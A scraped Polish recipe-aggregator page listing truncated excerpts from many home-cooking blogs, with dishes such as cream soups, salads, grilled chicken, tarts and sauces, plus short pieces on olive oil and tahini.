Gotować na małym ogniu około 1/2 godziny. Zdjąć z ognia, dodać jogurt (lub mleczko) i zmiksować blenderem. Przetrzeć przez sito. Podawać z grzankami lub podsmażonym tofu (zamarynowanym w sosie sojowym i miodzie). W wersji niewegetariańskiej można podać z podsmażonymi kawałkami piersi z kurczaka

zadanie-gotowanie
Sałatka z selerem naciowym Julienne 206

cienkie paseczki (metoda julienne). Marchew i og órka obieramy i też kroimy w cienkie paski. Pomarańczę obieramy, kroimy na małe cząstki i mieszamy z pokrojonymi warzywami. Całość polewamy sosem z wymieszanej oliwy z sokiem z cytryny oraz miodem i szczyptą soli

Bon appetit mon amie
Łosoś z salsą mango w aromatycznym sosie pomarańczowym 216

kilka minut. Dodać cebulkę szalotkę, cukier, przykryć i dalej dusić przez kolejne 10 minut aż składniki będą miękkie. Wlać sok z pomarańczy, limonki i cytryny. Gotować bez przykrycia aż sos się zredukuje i będzie gęsty. Doprawić solą oraz pieprzem. Filety z łososia umyć, osuszyć, pesetą wyjąć ości. Na dobrze rozgrzanej patelni grillowej ułożyć łososia skórką do dołu i grillować

Calzonella.com
Tarta z brokułami, szynką i serami 339

zgodnie z przepisem, upieczony spód studzimy. Brokuły gotujemy al dente. Żółty ser ścieramy na tarce, mieszamy z jajkiem, jogurtem greckim, pociętą na paski szynką, doprawiamy solą i pieprzem. Przygotowany sos jogurtowy wlewamy na upieczony spód, układamy brokuły, pomidorki koktajlowe i kawałki mozzarelli. Pieczemy przez 30 minut w temperaturze

Gotowanie i blogowanie
Oliwa z oliwek - co powinniśmy o niej wiedzieć 268

gardle, odczuwalne po przełknięciu oliwy, zupełnie nie przeszkadza, wręcz przeciwnie. Oliwy zebrane w późniejszym terminie, o łagodniejszym, mniej cierpkim smaku, będą dobre dla początkujących jako przyprawa lub baza do sosów czy sałatek.  Na koniec pamiętajmy, że oliwa extra vergine oliwie extra vergine nierówna, a końcowa jakość oliwy z oliwek jest bezpośrednio związana z absolutnym, konsekwentnym przestrzeganiem wszystkich etapów produkcji

Codzienna kuchnia niecodzienna
Współpraca z firmą BAKRA. Karob, melasa i tahini – poznajcie ten smak. 205

czyli pasta sezamowa: Tahini powstaje ze zmielonych ziaren sezamu, znanego i cenionego na całym świecie. To bogate źródło magnezu, potasu, wapnia i żelaza. Tahini jest idealna do sałatek, deserów, sosów i innych potraw. Znajdziemy ją w składzie hummusu, chałwy. Karob – proszek z Chleba Świętojańskiego : jest produktem naturalnym, nie zawierającym alergenów, kofeiny, teobrominy. Jest cennym źródłem magnezu, fosforu i żelaza

Słodkie okruszki
Warsztaty kulinarne z Galeo 214

był obłędny i na pewno nie raz powtórzę go w domu. 2. Ossobuco – gicz cielęca duszona z warzywami podana gremolatą 3. Crepe Suzette – obłędne naleśniki w słodkim sosie pomarańczowym Po wszystkim zasiedliśmy do stołu i przystąpiliśmy do degustacji przyrządzonych dań. Na koniec na salę wjechał obłędny tort. Okazało się, że szef kuchni obchodził w tym dniu swoje urodziny

karmelowy
ZUPA KREM Z ZIELONYCH SZPARAGÓW 161

Szparagi zielone nie wymagają obierania, wystarczy je przełamać- część z główką zostawić jako dodatek do dania głównego, lub na przystawkę, a dolną część można wykorzystać właśnie do zupy lub sosu. SKŁADNIKI: - 1 kg dużych końcówek szparagów - 100 ml śmietanki - 50 ml białego wina - sól, biały pieprz - olej z pestek dyni - ugotowane krewetki (opcjonalnie) SZPARAGI POKRÓJ NA mniejsze części i zalej

Kuchnia bezglutenowa Loli
Oszukane gołąbki 194

dodać bułki tartej tyle , aby można było formować kotlety, doprawić do smaku .Wymieszać i formować kotlety, obtoczyć w bułce tartej i usmażyć na oleju.Przełożyć do naczynia żaroodpornego , zalać sosem [ z przecieru i wody], dodać susz i przyprawy. Piec lub gotować .Na koniec dodać śmietanę i mąkę, koperek

Moje domowe kucharzenie
Grillowany kurczak z warzywami 211

minut z każdej strony. W momencie, kiedy piersi się grillują, na patelni podgrzewamy 2 łyżki oliwy z oliwek i smażymy warzywa doprawiając je wg uznania. Można podawać z sosem, oczywiście na bazie jogurtu naturalnego

Alutka-Gotuje
Zapiekane naleśniki na ostro! 247

sera. Piekarnik nagrzać do temp. 180 st. , blaszkę wyłożyć papierem do pieczenia i delikatnie zapiec ok. 10 min. Podajemy z pomidorem (jak u mnie) lub z sosem czosnkowym

Alutka-Gotuje
Szaszłyki z frytkami z batatów 173

grzanie górne" ok. 30 min. (do miękkości batatów) - wszystko zależy od piekarnika. Szaszłyki należy obrócić co jakiś czas...3-4 razy. Danie podajemy z ulubioną surówką lub sosem na bazie jogurtu naturalnego...jeżeli ma być dietetycznie. Frytki możemy troszkę posolić. PS. Bataty w wersji frytek nie są tak chrupiące jak ze zwykłych ziemniaków

Alutka-Gotuje
Zapiekanka z mięsem mielonym, pieczarkami i brokułami 545

temp. 180 °C i wstaw przykryte naczynie na 20 minut - zdejmij pokrywę i zapiekaj jeszcze 5 min. Uwaga: Jeżeli zamierzasz przygotować zapiekankę kilka godzin przed jej podaniem to sosem zalej dopiero przed wstawieniem do piekarnika

Alutka-Gotuje
Sałatka z ciecierzycy z mozzarellą 186

cytryny, dodajemy pieprz, mieszamy. Cebulę obieramy i kroimy w piórka. Pomidora kroimy w kostkę. Do miski wkładamy cieciorkę, pokrojone na pół kulki mozzarelli i pomidory, polewamy sosem i mieszamy

Kulinarne przygody Gatity
Placuszki z musem nektarynkowym 226

Słodkie śniadanie lub szybki deser Składniki: 1 mały jogurt naturalny (200 ml) 3 nektarynki 1/2 szklanki mąki 1 jajko 1 łyżeczka proszku do pieczenia 1 łyżka octu winnego sos: 3-4 … Czytaj dalej Placuszki z musem nektarynkowym

czarrna od kuchni
MŁODA BOTWINA Z PARMEZANEM 170

Lekko duszona BOTWINA Z PARMEZANEM w winno-miodowym sosie to doskonały... Artykuł MŁODA BOTWINA Z PARMEZANEM pochodzi z serwisu CookMagazine

COOKMAGAZINE
Pieczone gołąbki z mięsem i ryżem 220

jedynie umiarkowaną ilością soli i pieprzu. Nie stosuję np. cebuli, nie dodaję jajka – w tym przypadku naprawdę nie trzeba. Ponieważ są to gołąbki pieczone w niewielkiej ilości głównie własnego sosu, więc ryż gotujemy do miękkości, aby potem nie wchłonął wody z mięsa i tym samym nie wysuszył gołąbków. Jeśli o mięsie mowa, możemy teoretycznie użyć dowolnej wieprzowiny, a nawet mięsa

Kulinarna Pokusa
Makaron z krewetkami w sosie pomarańczowym (Pasta con gamberetti all'arancia) 150

Makaron z krewetkami w sosie pomarańczowym to przepis na szybki obiad w 30 minut. Użyłam makaronu typu fettucce, ale można wykorzystać dowolny rodzaj makaronu. Smacznego :) SKŁADNIKI 250 gr makaronu 250 gr krewetek 2 pomarańcze 2 ząbki czosnku natka pietruszki oliwa z oliwek sól, pieprz   PRZYGOTOWANIE Na rozgrzanym

La grande e la piccola cuoca
Spaghetti ze szpinakiem i oliwkami 159

Prawdziwym rarytasem jest sałatka z dodatkiem świeżych truskawek, skropiona octem balsamicznym czy glassą balsamiczną, pokruszona po wierzchu serem kozim. Szpinak doskonale sprawdza się jako farsz do włoskich ravioli czy sos do makaronu. Do potraw ze szpinakiem najczęściej dodajemy startą świeżą gałkę muszkatołową oraz świeżomielony czarny pieprz. Spaghetti ze szpinakiem i oliwkami Składniki: kolorowy makaron spaghetti na dwie porcje

Moja smaczna kuchnia
szybkowar-uda kurczaka w sosie pieczarkowo-porowo-pietruszkowym... 219

szybkowar otworzyć jak sam spuści ciśnienie wyjąć udka na talerz, wywar przelać do rondla, makę wymieszać z wodą i śmietaną, wlać do wywaru mieszając doprowadzić do zagotowania i zagęszczenia sosu wsypać natkę pietruszki i dodać przyprawę w płynie do smaku podać z ziemniakami, ryżem lub z czym się lubi.............SMACZNEGO

W Mojej Kuchni Lubię
ROLADKI Z KISZONĄ KAPUSTĄ I CZARNUSZKĄ 162

formujemy roladki. Spinamy wykałaczkami. Tak przygotowane roladki, wkładamy na rozgrzany tłuszcz i podsmażamy na złoty kolor. Następnie podlewamy wodą i dusimy do miękkości ok. 30-40 minut. Doprawiamy sos vegetą i zagęszczamy mąką. Jeszcze chwilkę gotujemy. SMACZNEGO

Prosto i Smacznie z Anetą
Kurczak z ryżem po włosku / Italian chicken and rice 241

Dziś przedstawiam bardzo fajne danie jednogarnkowe. Soczysty kurczak pieczony w ryżu z dodatkiem suszonych pomidorów, oliwek, papryki i sosu pomidorowego z ziołami – świetny pomysł na łatwy obiad. Oprócz tego, że danie jest bardzo smaczne i łatwe w przygotowaniu, pozostaje nam później mało zmywania, gdyż wszystko przygotowujemy dosłownie w 1 patelni. Polecam! Scroll down for recipe in English Kurczak

karmelowy
Kurczak Piccata 191

Blueberry Corner by "jagodzianka" Piccata to włoskie danie, bardzo popularne w Stanach Zjednoczonych. Kawałki mięsa podane w sosie z cytryną, czosnkiem, masłem i śmietanką … Przeczytaj cały artykuł Post Kurczak Piccata pojawił się poraz pierwszy w My Blueberry Corner

My Blueberry Corner
Zupa kukurydziana i kilka słów o zupowarze 174

kilkoma fajnymi (innymi) funkcjami. Nie wiem, czy to urządzenie jest niezbędne w kuchni, ale wiem jedno – jest genialne na wyjazdy! W zupowarze przygotujemy zupę klasyczną, zupę krem, koktajl, sos czy sam kruszony lód. A! Ugotujemy również jajka oraz warzywa na parze. Nie będę Was póki co zanudzać specyfikacją techniczną, a pokażę co fajnego można ugotować. Składniki: 250ml bulionu warzywnego 250ml

Gotowanie i blogowanie
Francuskie tosty w otrębach z jagodowym serkiem i bananami. Pyszne śniadanie pełne smaku i barw. 249

łyżki), gotujemy na małym ogniu ciągle mieszając, aż jagody puszczą sok. Jeśli mamy mrożone jagody nie dodajemy do nich wody. Zdejmujemy z ognia i studzimy. Do naszego jagodowego sosu dodajemy chudy twaróg i miód do smaku, wszystko razem dokładnie łączymy przy użyciu widelca. Usmażone, jeszcze ciepłe tosty podajemy z jagodowym twarożkiem i pociętym w plasterki bananem. Pyszne i szybkie śniadanie

Słodkie okruszki
Chia pudding z mango i mlekiem kokosowym 155

absorbując niemal 10 razy tyle płynu, ile same ważą. Można z nich przygotować smaczny i zdrowy pudding, dodać do sałatki lub musli, stosować zmielone jako zagęszczacz do zup i sosów. Jeśli zamierzacie zabrać pudding do pracy na pyszne i pożywne śniadanie, zamiast pucharów użyjcie słoika :) Składniki 250 - 300 ml mleka kokosowego świeżego lub z puszki lub innego ulubionego mleka

Kulinaria - potrawy z różnych stron świata
WIOSENNA SAŁATKA Z ROSZPUNKI, AWOKADO I POMARAŃCZY Z SOSEM WINEGRET 245

Wiosenna sałatka z roszpunki, awokado i pomarańczy z sosem winegret Ta sałatka powstała w mojej głowie spontanicznie. Doskonale nadaje się do dań mięsnych, albo jako samodzielna przekąska na lunch, bądź kolację. Z dodatkiem sera koziego lub feta, sałatka smakuje jeszcze lepiej! Jest naprawdę lekka i wyborna w smaku, dzięki dressingowi i pomarańczy.  SKŁADNIKI: 1 opakowanie sałaty roszpunka 1 dojrzałe

Calzonella.com
NALEŚNIKI RUSKIE ( z serem i ziemniakami ) 207

sycące … no i tanie! Takie naleśniki są fantastycznym pomysłem zarówno na obiad, jak i np. imprezę! Można je złożyć w koperty albo zwinąć jak krokiety! Podane z ulubionym sosem czy też cebulką z całą pewnością zrobią furorę na stole! Gorąco polecam! SKŁADNIKI: ( ok.4 szt ) NALEŚNIKI : * mąka – ok.3/4 szkl * mleko – 1,5 szkl * duże jajko

Ostra na Słodko
Sałatka z muszelek, kurczaka… i nie tylko 219

Mirin – lekka i orzeźwiająca. Warto dodać, że Mirin to przyprawa (jap. 味醂), która nadaje potrawom wyjatkową słodycz. Może być używana do sałatek, duszonych i grillowanych mięs, ryb, warzyw, zup, sosów. Najpopularniejsza w potrawach kuchni japońskiej. Stanowi jeden ze składników popularnej marynaty teriyaki. Gorąco polecam i życzę smacznego. Wydrukuj przepis The post Sałatka z muszelek, kurczaka… i nie tylko appeared first

mojewypiekiinietylko
Sałatka z brokułu z kurczakiem 228

Oprószyć go solą, pieprzem, granulowanym czosnkiem i odrobiną curry. Usmażyć, ostudzić i pokroić na niewielkie kawałki. Jogurt i majonez doprawić solą i pieprzem. Składniki sałatki wymieszać delikatnie i polać sosem jogurtowo-majonezowym

Trzeci talerz
Kotlety z kapusty 290

kapusty. Wyglądały jak kotlety mielone, ale stwierdziłam wtedy, że są smaczniejsze od kotletów z mięsa. I podtrzymuję tę opinię :) Proponuję podać je z ryżem lub ziemniakami i ciepłym sosem. Składniki na około 20 niewielkich sztuk: 1 średnia główka białej kapusty 2 cebule 2 łyżki masła 1 sucha bułka 1 jajko 3 łyżki kaszy manny sól i pieprz kilka łyżek bułki

Trzeci talerz
Solić? Nie solić? 166

dodane do dań z kapusty oraz z roślin strączkowych nie tylko wzbogacą ich smak, ale uczynią potrawę lepiej strawną. Idealnie pasują także do ziemniaków. Liść laurowy pasuje do zup, sosów i wołowiny. Zwykłą sól kamienną lepiej zastąpić albo mieszanką soli ziołowej (sól + zioła, można zrobić samodzielnie), albo solą czarną lub różową, himalajską. Jest zdrowsza. Na rynku obecne są także inne

Kucharzyca
Kurczak pieczony w czosnku, miodzie i brązowym cukrze 239

dobrze wymieszać. Między kawałkami kurczaka w naczyniu żaroodpornym ułożyć obraną i pokrojoną wg uznania marchewkę oraz podgotowane (ok. 5-10 minut, nie dłużej) ziemniaki. Na całość wylać przygotowany sos maślano-miodowy. Naczynie włożyć do piekarnika rozgrzanego do 175-180 stopni i zapiekać wszystko przez około 35 minut, aż mięso i ziemniaki będą miękkie (gdyby mięso „doszło” przed ziemniakami

Pociąg Do Kuchni
Sobota w kuchni 167

smaku. Podałam z lodami owocowymi, które przygotowałam z mrożonych kawałków banana, truskawek i jogurtu naturalnego. Chlebek bananowy. delikatnie słodki, idealny jako przekąska. Na obiad ni to zupa, ni to sos, czyli klopsy w pomidorach. Klopsy z wołowiny, z serem jadel i gouda, z makaronem orzo. 500 g mielonego mięsa wołowego 50 g ser jadel 70 g ser gouda 5 łyżek

Kucharzyca
Placki z cukinii z natką pietruszki 201

ładnie rumiane. Następnie przewracamy na drugą stronę. Placuszki z cukinii po ściągnięciu z patelni odsączamy na ręczniczku z nadmiaru tłuszczu. Podajemy z ulubionymi dodatkami, np. śmietaną, jogurtem lub innym sosem. Smacznego By Magdalena beta calories 0 fat 0g protein 0g carbs 0g more Słodkie okruszki http://www.slodkieokruszki.pl

Słodkie okruszki
Dietetyczne frytki ziemniaczane - bez tłuszczu:) 171

dodatku tłuszczu. Obsypane solą morską i czarnym pieprzem. Smakują na prawdę bardzo dobrze! Szybkie w przygotowaniu, sycące, do podania samodzielnie lub z dodatkiem dobrej jakości ketchupu czy domowego sosu. Zapraszam! :-)  Składniki: dowolna ilość ziemniaków sól morska i pieprz lub ulubione przyprawy Przygotowanie: Ziemniaki obierz, oczyść i pokrój w kształt frytek.  Ułóż na blaszce wyłożonej papierem do pieczenia

Zdrowie na języku :P
Roladki drobiowe ze szpinakiem, mozarellą i marchewką 181

kłaść roladki i smażyć na złoto z każdej strony. Następnie wlać na patelnię rosół lub wodę i dusić roladki przez ok. 10 minut. Wyjąć roladki z patelni i zagęścić sos mąką. Podawać np. z kaszą jęczmienną, gryczaną, ziemniaczkami lub ryżem. (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
SZPINAKOWA SHAKSHOUKA / SPINACH SHAKSHOUKA 151

szpinak straci swoją objętość. Dorzuć na patelnię jogurt wymieszany z fetą pokrojoną w kawałki i czosnkiem przeciśniętym przez praskę. Duś i mieszaj aż na patelni będzie jednolity, gęsty „sos”. Rozłóż powstałą masę równomiernie na dnie patelni, ostrożnie wbij na jej wierzch jajka, tak, żeby żółtka się nie rozlały. Posyp pieprzem. Przykryj pokrywką, najlepiej szklaną, żeby było widać

Martyna Cooks
Pstrąg tęczowy i duszone buraczki z jabłkiem i rozmarynem. 171

postaci przez 25 minut. Następnie dodaj pokrojone na ósemki jabłko, rozmaryn, sól i pieprz, całość duś pod przykryciem 15 minut, ostatnie 5-7 minut bez pokrywki aby sos się zredukował. - 2 filety z pstrąga tęczowego - oliwa z oliwek - sok z pomarańczy Rybę ułóż w naczyniu żaroodpornym, posyp odrobiną soli, polej oliwą i około 2 łyżkami soku z pomarańczy. Całość wstawiamy

SMYKWKUCHNI
Filety z kurczaka w podwójnej panierce 146

ręcznikiem papierowym, oprószamy solą, pieprzem i lekko rozbijamy. Przygotowane mięso obtaczamy w mące, następnie w rozkłóconym jajku (z dodatkiem, mleka /10 ml/ soli i pieprzu). Kolejno w bułce tartej, sosie i zaś w bułce. Kotlety smażymy na rozgrzanym oleju rzepakowym, z obu stron na złoty kolor. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle

R'n'G Kitchen
Sałatka makaronowa z szynką 243

paprykę kroimy w drobną kostkę. Kukurydzę odsączamy. Wszystkie składniki sałatki wkładamy do miski i dodajemy koperek. Majonez i jogurt razem mieszamy oraz solimy i pieprzymy do smaku. Tak przygotowany sos wylewamy na sałatkę. Całość mieszamy i jeśli zachodzi potrzeba ponownie doprawiamy solą i pieprzem. Smacznego

Smak mojego domu
Pasta tahini z czarnego sezamu 188

Tahini czyli pasta sezamowa. Bardzo popularna w kuchni Dalekiego Wschodu, w kuchni arabskiej i żydowskiej. To jeden ze składników hummusu, może być stosowana też do różnych sosów, dipów, koktajli lub po prostu do smarowania chleba. Można ją oczywiście kupić gotową, ale zrobienie tahini jest bardzo łatwe i według mnie nie warto, bo wiemy co jemy. Wystarczy tylko blender i sezam

Wilczkowy Świat - nasze codzienne gotowanie
Puszysty omlet z gruszkami 155

Następnie zsuń omlet ponownie na patelnię. Smażyć znowu do momentu , aż wyczujecie że jest przesmażony. Zdjąć omlet z patelni, na połowę omleta rozłożyć potartą gruszkę. Złożyć na pół, polaać sosem klonowym i podawać. To było pycha. Thermomix – do naczynia miksującego dodać białka i szcyptę soli, nałożyć motylek, ubijać obroty 3, czas 1,5. – 2 minuty -dodać po żółtku

Kuchnia Pokoleń
Blendman – kim był i kim jest obecnie? Sprawdź! 195

pewien wewnętrzny smutek spowodowany anonimowością. Właśnie wtedy postanowiłem stworzyć bloga. Tematyka nie była do końca przypadkowa, ponieważ to czym zawsze się chwaliłem, że mi najlepiej wychodzi to pasty i sosy, dlatego też tematyka związana z miksowaniem wydała mi się najlepsza. Po otworzeniu bloga nagle zacząłem mieć duży problem z wolnym czasem, ponieważ myślenie o nowych przepisach, nauka i dziewczyna zabierały

Blendman
Wieprzowina po tajsku 297

Ostatnio kupiliśmy mięso mielone i zastanawialiśmy się co zrobić a że okazało się że mamy wszystkie składniki żeby zrobić coś w stylu tajskim

Kuchenne Wariacje
Domowe, zielone pesto 183

Komu makaron? Komu pesto? I do tego zielone, pachnące świeżymi ziołami. Już widzę las rąk. Tak na prawdę przygotowanie tego włoskiego sosu to „pikuś”. Oczywiście oryginalnie powinniśmy ucierać w moździerzu wszystkie składniki

Szybko Tanio Smacznie
Polędwiczki wieprzowe faszerowane kiełbasą chorizo i tymiankiem 291

żeby odpoczęło, następnie kroimy w plastry. Gotową polędwiczkę przekładamy na talerze i pododajemy np z zieloną soczewicą z fasolką szparagową i pomidoroami lub jak mój luby wybrał kopytka okraszone sosem z pieczenia

Piekielna Kuchnia Pati
Ryba w sosie śmietanowo - cebulowym 180

patelni rozgrzewamy dwie łyżki oleju i dodajemy pokrojone w plastry cebule i przyprawy, smażymy aż cebula zmięknie i dolewamy obie wymieszane ze sobą śmietany. Na małym ogniu gotujemy aż sos zacznie gęstnieć. Dodajemy usmażone kawałki ryby i podgrzewamy jeszcze przez chwilę

Czary - gary w kuchni
Sałatka z jajkiem i kurczakiem 163

smażymy na niej mięso. Sałatę i paprykę kroimy w paski, ogórka (ze skórą) w półplasterki, a roszponkę dzielimy na pojedyncze listki - wszystko wkładamy do salaterki, a następnie doprawiamy sosem: mieszamy pozostałą oliwę z octem jabłkowym, solą i pieprze. Całość dokładnie mieszamy. Na talerze nakładamy wymieszane sałaty, na nich kładziemy kawałki kurczaka, jajka i pokrojone pomidory. Całość posypujemy startym grana padano

Czary - gary w kuchni
Sałatka z brokuła 191

suchą i rozgrzaną patelnię wsypujemy ziarna słonecznika i ciągle mieszając prażymy przez chwilę.  Do (jeszcze ciepłego) brokuła dodajemy ciepłe skwarki (bez wytopionego tłuszczu,same skwarki) i przygotowany sos. Całość lekko mieszamy i posypujemy uprażonym słonecznikiem. Tak przygotowanego brokuła można podawać na ciepło lub pozostawić do wystudzenia i wykorzystać jako fantastyczną sałatkę (mnie nawet bardziej smakuje ta druga wersja

Czary - gary w kuchni
Burgery "grillowe" 198

ogórki konserwowe 1/4 cebuli 1 łyżeczka oleju  pieprz mielony Dodatkowo: Sałata Pomidor Czerwona cebula Ser topiony w plasterkach lub mozzarella w plasterkach Keczup, majonez, musztarda lub inne sosy (dowolnie, co lubicie) 4 bułki do burgerów Mięso mielimy, cebulę drobno siekamy, dodajemy pozostałe składniki kotletów i wyrabiamy do chwili, aż mięso odchodzi od dłoni. Formujemy cztery płaskie kotlety i grillujemy

Czary - gary w kuchni
Chlebek pita 180

Pita to popularny wypiek w krajach Bliskiego Wschodu - placki z ciasta pszennego na drożdżach. Podczas pieczenia ciasto wyrasta i tworzy kieszonkę na farsz. Pitę można napełnić warzywami, mięsem, sosami, itp. Polecam pitę z falafelem. Przepis na falafel znajdziecie na moim drugim blogu Kuchnia Jacka-Placka . Składniki na 10 sztuk: 3 szklanki mąki pszennej (najlepiej typ 650) 1 i 1/4 szklanki

Przepisy na domowy ser i chleb
Pasta z Ancho Chili 163

My Blueberry Corner by "jagodzianka" Pasta z Ancho Chili to składnik, który jest często wykorzystywany w meksykańskiej kuchni. U mnie w przepisie na pieczone kotlety …

My Blueberry Corner
Ziemniaczana tarta z mięsem, papryką i pomidorami 230

czym dodajemy mięso mielone, doprawiamy do smaku solą, pieprzem i papryką - podsmażamy 5-7 minut. Po tym czasie dodajemy pomidory krojone z puszki i całość podduszamy do całkowitego zredukowania sosu - doprawiamy oregano i świeżo mielonym pieprzem. Powstały farsz wykładamy na ziemniaczany spód tarty. Na wierzch nakładamy ser. Tartę wstawiamy do nagrzanego do 180 stopni piekarnika na 40 minut. Podajemy oprószając

Kulinarny Świat Konczi i Szpileczki
Szpinak z tuńczykiem, pomidorem i batatem 213

danie na bogato. Różnorodność smaku, które ucieszy każde wymagające podniebienie. Polecam dodać dużą ilość przypraw, najlepiej czosnku granulowanego! :) Składniki: 1/2 opakowania mrożonego szpinaku  1 puszka tuńczyka w sosie własnym 1 średni batat 1 pomidor przyprawy: przyprawa kebab-gyros, czosnek granulowany, sól, zioła prowansalskie ketchup olej do smażenia Sposób przygotowania: Szpinak odmrażamy w mikrofali. Między czasie obieramy, myjemy i kroimy

Truskawkowa Fiesta
Spaghetti bolognese 174

solą, pieprzem, oregano. Smażyć przez chwilę, aż pomidory troszkę odparują. Koperek posiekać, ser zetrzeć na tarce, makaron ugotować al dente w lekko osolonej wodzie. Na talerz wyłożyć makaron, polać sosem i posypać koperkiem lub żółtym serem (u nas koperek). (adsbygoogle = window.adsbygoogle || []).push

Wilczkowy Świat - nasze codzienne gotowanie
Surówka do obiadu z włoskiej kapusty 217

wyobrażam sobie obiadu bez dodatku w postaci surówki. Dziś propozycja na pyszną i prostą w wykonaniu surówkę z włoskiej kapusty. Idealny dodatek do kotletów schabowych, mielonych czy sosów. Surówka do obiadu z włoskiej kapusty 2016-04-14 16:45:43 Write a review Save Recipe Print 0 calories

Słodkie okruszki
Duszona baranina z kiszoną cytryną 180

Gotować przez 3-4 godziny w ustawieniu high, lub  6-8 godzin w ustawieniu low. W połowie gotowania warto mięso wymieszać, jeżeli trzeba dolać bulion, sprawdzić smak sosu i w razie potrzeby dosolić. Po ugotowaniu doprawić wszystko pieprzem i ewentualnie solą. Podawać posypane listkami kolendry i pietruszki. Smacznego

Stare Gary
Szaszłyki drobiowe z orientalnym akcentem 276

Ulubione danie z grilla Składniki 2 filety z kurczaka marynata: 2 łyżeczki sproszkowanej trawy cytrynowej 1 łyżeczka przyprawy chińskiej 2 łyżki oleju kukurydzianego 1 łyżka sosu teryiaki   1/2 cukinii … Czytaj dalej Szaszłyki drobiowe z orientalnym akcentem

czarrna od kuchni
Aromatyczna karkówka 165

ostrej - 1/2 łyżeczki papryki słodkiej - 1/2 łyżeczki majeranku - 1/2 łyżeczki lubczyku - 1/2 łyżeczki czosnku granulowanego - 1/2 łyżeczki przyprawy do karkówki - szczypta kminku - szczypta soli - 1/4 szklanki oleju - 2 łyżki sosu sojowego - 2 łyżeczki miodu - 2 łyżeczki koncentratu pomidorowego - 1/2 łyżeczki kurkumy Przygotowanie: Karkówkę nacinamy i faszerujemy czosnkiem. Wszystkie składniki marynaty łączymy i nacieramy karkówkę. Przekładamy ją wraz z resztkami marynaty

Zainspirowana w kuchni
Bazylia w roli głównej! Konkurs 172

wpisem) przepis – mile widziane będą także zdjęcia Konkurs potrwa 3 tygodnie – do 5 maja 2016 Wyniki ogłoszę do 10 maja 2016 Nagrodzę 5 osób – zestawami 5 sosów Barilla i 5 makaronów Barilla Zastrzegam prawo do usuwania wpisów, które są skopiowane z internetu Zwycięski przepis opublikuję na blogu Przepisy, które mogą Was zainspirować: Makaron z kurczakiem, pesto

Kuchnia Bazylii
Dietetyczne oszukane indycze gołąbki 184

które do tej pory lubiła zmienić na bardziej dietetyczne ale równie smaczne. Dlatego postanowiłam zrobić oszukane gołąbki z mięsa indyczego i ryżu jaśminowego, ale nie smażone tylko ugotowane w sosie pomidorowym. Wyszło pysznie. Czytaj więcej

Bernika - moj kulinarny pamietnik
Szaszłyki drobiowo-warzywne 165

mięsem na drewniane patyczki. Szaszłyki posypujemy ziołami prowansalskimi, solą i czarnym pieprzem i grillujemy na naoliwionym ruszcie lub patelni grillowej obracając co chwila na inną stronę. Serwujemy z dodatkiem sosu czosnkowego i sałatki z świeżych warzyw

Pyry na Gaz
Naleśniki z domowym serkiem i malinami 139

Niebo w gębie - pyszne, cieniutkie naleśniki nadziewane domowym serkiem homogenizowanym, na którego przepisu również znajdziecie na tym blogu. Naleśniki podałam polane ciepłym sosem na bazie malin i miodu. Nie przejmujcie się, że to nie sezon na maliny - równie dobrze jak świeże sprawdzą się tutaj te mrożone

Milion Smaków
Kluski rzucane gryczano-pszenne 187

wodę odrobinę ciasta, tyle by kluski po ugotowaniu nie były zbyt duże Gotować około 3 min. po wypłynięciu wszystkich klusek. Smakują z bigosem, posypane np. skwareczkami lub z  sosem pieczarkowym :) Kluski są twardsze od tych z samej mąki pszennej, ale zdrowsze. Klusek starcza dla 3 osób

Proste Potrawy
Na pierogi tylko do Sopockiego Młyna! 259

cebulką . Mało brakowało, a wylizałabym talerz! A na deser też pierogi! Tym razem na słodko, pieczone z ciasta drożdżowego Przede mną pierogi z gruszką, jabłkiem i cynamonem , w towarzystwie sosu waniliowego. Normalnie w cenie 17 PLN - w ramach Weekendu za pół ceny dzielone na pół. Ciasto drożdżowe okazało się bardzo mięciutkie i delikatne w smaku. Stopień nadziania niestety już

Grunt to przepis!
Rendang z wołowiny 213

kokosowe i cukier - dokładnie wymieszaj, przykryj i duś na małym ogniu przez około 60 minut od czasu do czasu mieszając. Po tym czasie odkryj patelnie i gotuj dalej aż sos zgęstnieje, a mięso będzie mięciutkie. Pod koniec gotowania dopraw do smaku solą. Podawaj z ryżem. Smacznego

Codzienne Gotowanie
Ryż po kreolsku z kiełbasą andouille 227

wymieszać, podsmażać kilka minut. Dodać pastę pomidorową, dobrze wymieszać i podsmażyć jeszcze 2 minuty. Ryż po kreolsku z kiełbasą andouille podawać na gorąco, można posypać szatkowanym szczypiorem i ostrym sosem. Post Ryż po kreolsku z kiełbasą andouille pojawił się poraz pierwszy w Pociąg Do Kuchni

Pociąg Do Kuchni
Tosty francuskie z musem czereśniowym 134

tych tradycyjnych powinno użyć się chałki, brioszki lub chleba tostowego. Ja natomiast wykorzystałam czerstwy chleb żytni na zakwasie, gdyż taki najbardziej lubię. Ciekawą częścią tego dania jest z pewnością sos z czereśni o niesamowitym smaku. Wykorzystałam mrożone czereśnie, które zalegały u mnie od poprzedniego sezonu. Teraz czekam już na kolejny. Wracając do samej potrawy, moim zdaniem, jest to smaczna, słodka

Mango Papaja
Piersi kurczaka pieczone w ziołach 249

Bardzo aromatyczne i dietetyczne piersi z kurczaka. Szybkie w przyrządzeniu i dzięki krótkiej obróbce termicznej bardzo soczyste. Jako dodatek wystarczy podać mix sałat z pomidorkami i białą rzodkwią oraz sosem ziołowym.  Pokusiłam się jeszcze o ugotowanie kompotu z naszych polskich jabłek i gruszek z dodatkiem suszonej żurawiny. Piersi kurczaka pieczone w ziołach Składniki: -dwie piersi -suszone oregano -suszone chili

Kulinarne przemyslenia
Z Grillowanym Kurczakiem i Świeżym Burakiem 194

SKŁADNIKI 1 Mały burak 10 dag sera żółtego  4 ogórki konserwowe 1 cebula szalotka lub 1/2 zwykłej cebuli 1 opakowanie mix sałat 1 filet z kurczaka sos: 2 łyżki majonezu, 3 łyżki jogurtu naturalnego 0%,2 łyżki ketchupu ,sól i pieprz   SPOSÓB PRZYGOTOWANIA    Filet z kurczaka myję a następnie kroję na dwie części.  Przyprawiam dowolnymi

Gotowanie Patki
Pieczone hot dogi pełnoziarniste 327

